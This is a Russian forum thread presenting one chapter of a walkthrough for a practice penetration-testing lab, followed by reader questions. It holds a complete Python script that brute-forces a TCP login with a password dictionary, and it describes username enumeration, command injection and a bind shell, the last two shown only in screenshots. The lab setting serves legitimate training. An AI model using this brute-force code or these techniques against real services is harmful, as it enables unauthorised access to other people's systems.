• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Глава 4
Предыдущая глава
Следующая глава
Оглавление

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Приветствую вас колеги.
Сегодня настало время очередного токена.
Сегодня будем побеждать Web Control (192.168.0.6) и рассмотрим такой вектор как Command Injection.
Почитать про Command Injection можно , . Но также вспомним про атаку на слабые пароли методом брутфорса.
Для начала ,как всегда просканим порты:
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Пробуем подключится с помощью нетката:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Видим обычную tcp socket аутентификацию... Первое что на ум приходит при встрече с аутентификацией - это перебор пароля на легкие словарные пароли.
Что мы в первую очередь и будем пробовать.
Для удобства я пробросил порт,как это делать я описывал в прошлой статье
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Но стандартных брутфорсов для таких целей я также пока не встречал,по этому на помощь снова приходят базовые знание программирования на питон. Набросал простенький скрипт для перебора паролей - я прогнал его по учетным записям из уже известным нам (которые мы получили на ssh машине) ,но увы мой брутфорс не дал результатов. И спустя некоторое время ковыряясь в этой корпоративной сети ,на некоторых машинах я замечал что при попытке сброса пароля например на клауде(cloud "172.16.0.3") я заметил что существует учетная запись admin. И тут на ум приходит прогнать брутфорс еще по таким учеткам как admin,root,cloud,user,test.
Брутил я словарю из john the ripper:
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Я не гуру в программирование на питон,и по этому мой скрипт выглядит совсем по простому,
я использовал там только цикл для перебора по словарю,библиотеку socket для работы с tcp соединением,и обычное if else условия).Выглядит мой скрипт примерно так:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Python:
import socket
from termcolor import colored

users=['admin','root','user']
with open('pass.txt','r') as fs:
    for p in fs.readlines():  
        for n in users:
            sock = socket.socket()
            sock.connect(('127.0.0.1', 1503))
            sock.recv(1024)
            sock.send(n+"\n")
            sock.recv(1024)
            sock.send(p.strip()+"\n")
            data=sock.recv(1024)
            sock.close()
            if 'Error!' in data:
                print colored('[-] ','red')+colored(n,'yellow')+' '+colored(p,'yellow')
            else:
                print colored("[+]Good ","green") +colored(n,'cyan')+' '+colored(p,'cyan')
                break      
        if 'Error' not in data:
            print colored("[ *** ] Brute Finished Succes!","magenta")
            break
К выше сказаному добавлю что использовал в скрипте расцветку (библиотека colored)
массив пользователей из трех на мой взгляд распространенных учетных записей.Затем циклически перебрал словарь,и если в ответе сервера не было фразы "Error!" то закончить цикл и вывести логин и пароль который подошел к tcp socket аутентификации.
В деле это выглядит как то так:
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)


Получил логин и пароль,пробуем подключится. Подключившись замечаем работу какого то приложения которое работает в интерактивном режиме и которое запрашивает пользовательский ввод,а везде есть пользовательский ввод - запомните!!!- это уже повод думать что там может быть инъекция!!!!!
Вооружившись знаниями об command injection пробуем различные варианты выполнить инъекцию.

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Здесь мы использовали Bind Shell , потому что ssh машина (172.16.0.8) и web_control машина (192.168.0.6) находятся в разных сегментах сети.
Подробнее о том что такое bind и reverse shell можете прочесть в моей статье для новичков.

Дальше дело за малым) Найти токен) Первым делом когда попадаю на машину я пользуюсь командой
find для поиска имен файлов которые в своем имени содержат слово "token"
Выглядит моя команда так:
Код:
find / -type f -name "*token*"
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)


Всем спасибо) Продолжение следует)
Если понравилась статья - ставь лайк) Мне будет приятно)
Вот демо-видео :
Предыдущая глава
Следующая глава
Оглавление
 

Вложения

F

faust

Member
11.12.2016
5
1
Нашел скрипт который работает на порту 1503 машины 192.168.0.6(/opt/web_control/multiThread.py). А с помощью nc можно копировать или скачивать файлы?
 
SooLFaa

SooLFaa

Администратор
15.07.2016
814
1 318
nc это сервер. А когда ты попал на сервер ты можешь совершать любые действия.
 
MonMJK

MonMJK

Active member
27.11.2016
32
13
Спасибо!
Придет время испробую все)
 
  • Нравится
Реакции: <~DarkNode~>
F

Foxy2016

Оч приятно прочитать,,,,,запущю линуксовую тачку и в перед))
 
  • Нравится
Реакции: <~DarkNode~>
3

3nv00ch

Happy New Year
07.11.2016
4
3
Спасибо! На выходных надо опробовать.
 
  • Нравится
Реакции: <~DarkNode~>
ghostphisher

ghostphisher

гарант codeby
Gold Team
07.12.2016
2 515
3 353
Не совсем понял, как получилось эти учетки распознать? --> например на клауде(cloud "172.16.0.3" )
Подбор руками самых частых логинов следуя логике или откуда то было взято? =) По ответу сервера видно, есть такая учетка или нет. В целом логично пробовать самые суперлогины, но все же? =)
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Не совсем понял, как получилось эти учетки распознать? --> например на клауде(cloud "172.16.0.3" )
Подбор руками самых частых логинов следуя логике или откуда то было взято? =) По ответу сервера видно, есть такая учетка или нет. В целом логично пробовать самые суперлогины, но все же? =)
на клауде есть кнопка сброса пароля,и если юзера такого нету то будет один текс ошибки при сбросе пароля,если есть такой пользователь - текст будет другой,на основе этого поведения я писал простенький скрипт который перебирал по списку пользователей,выстрелила только одна учетка admin
 
  • Нравится
Реакции: ghostphisher
ghostphisher

ghostphisher

гарант codeby
Gold Team
07.12.2016
2 515
3 353
написал простенький скрипт который перебирал по списку пользователей,выстрелила только одна учетка admin
Тоесть по факту, скрипт заменить было нечем, так как был сформирован не стандартный ответ/отказ сервиса?

Добавлено:

Не могу подобрать пароль, в первом случае он указал логин user и пароль для него ( не подошло ), когда оставил одного админа - прошелся по всему списку и ничего не обнаружил
 
Последнее редактирование:
  • Нравится
Реакции: Dmitry88
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Тоесть по факту, скрипт заменить было нечем, так как был сформирован не стандартный ответ/отказ сервиса?
Если говорить про клауд - то там парсилась фраза которая была в контенте страницы в результате реакции на несуществуещего пользователя,и перебиралось в цикле список пользователей - если такая фраза не встречалась в ответе веб сервера - то скрипт выводил что юзер валидный) Но таким образом я смог обнаружить только учетную запись admin.

Что касается перебора по пользователю admin - должно работать.
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)
Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Ну я для демонстрации перенес пароль в словаре на первые позиции
 
  • Нравится
Реакции: Sinistra и ghostphisher
ghostphisher

ghostphisher

гарант codeby
Gold Team
07.12.2016
2 515
3 353
Ну вот макинтош я поиском по словарю нашел, посмотрел на первые скрины в данном топе, увидел что на конце пароля sh стоит и начал искать ) У меня прогнало по всему списку и не нашло. Просто закончил работу свою.

Или вот так


[-] admin lokita

[+]Good root lokita

[ *** ] Brute Finished Succes!
 
D

DobR0

После внедрнения bind shell'а, не коннектится машинка к указаному порту. Просто зависает при коннекте, мб были у кого схожие симптомы?
 
M

mafiasepa

ошибка:

root@LG:~/pentest/lab10/web-control# ./brute.py
from: too many arguments
./brute.py: строка 5: синтаксическая ошибка рядом с неожиданным маркером «(»
./brute.py: строка 5: `with open('pass.txt','r') as fs:'
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Ну вот макинтош я поиском по словарю нашел, посмотрел на первые скрины в данном топе, увидел что на конце пароля sh стоит и начал искать ) У меня прогнало по всему списку и не нашло. Просто закончил работу свою.

Или вот так


[-] admin lokita

[+]Good root lokita

[ *** ] Brute Finished Succes!
Попробуй так:



Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)


 
Последнее редактирование:
  • Нравится
Реакции: ghostphisher
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб